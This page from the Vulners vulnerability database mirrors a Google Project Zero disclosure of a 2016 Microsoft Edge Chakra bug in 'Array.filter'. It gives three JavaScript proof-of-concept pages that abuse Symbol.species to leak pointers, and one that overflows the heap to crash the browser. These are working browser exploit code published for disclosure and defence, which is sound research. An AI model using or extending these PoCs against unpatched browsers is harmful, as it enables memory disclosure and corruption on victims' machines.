Vulners
Lucene search
Microsoft Edge - 'Array.filter' Information Leak
🗓️ 18 Nov 2016 00:00:00Reported by Google Security ResearchType 
exploitdb🔗 www.exploit-db.com👁 57 Views
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922
There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached:
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
constructor(){
return d;
}
}
class MyArray extends Array {
static get [Symbol.species]() {
return dummy;
}
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
constructor(){
alert("in constructor");
return d;
}
}
class MyArray extends Array {
// Overwrite species to the parent Array constructor
static get [Symbol.species]() {
alert("get");
b[0] = {};
return dummy; }
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
alert(o);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
</script></body></html>
https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1
I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow.
-->
<html>
<body>
<script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{
constructor(){
alert("in constructor");
return d;
}
}
class MyArray extends Array {
// Overwrite species to the parent Array constructor
static get [Symbol.species]() {
alert("get");
b[0] = {};
return dummy; }
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
for(var i = 0; i < 0x200000; i++){
a[i] = i;
}
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
alert(o);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
</script>
</body>
</html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Nov 2016 00:00Current
7.4High risk
Vulners AI Score7.4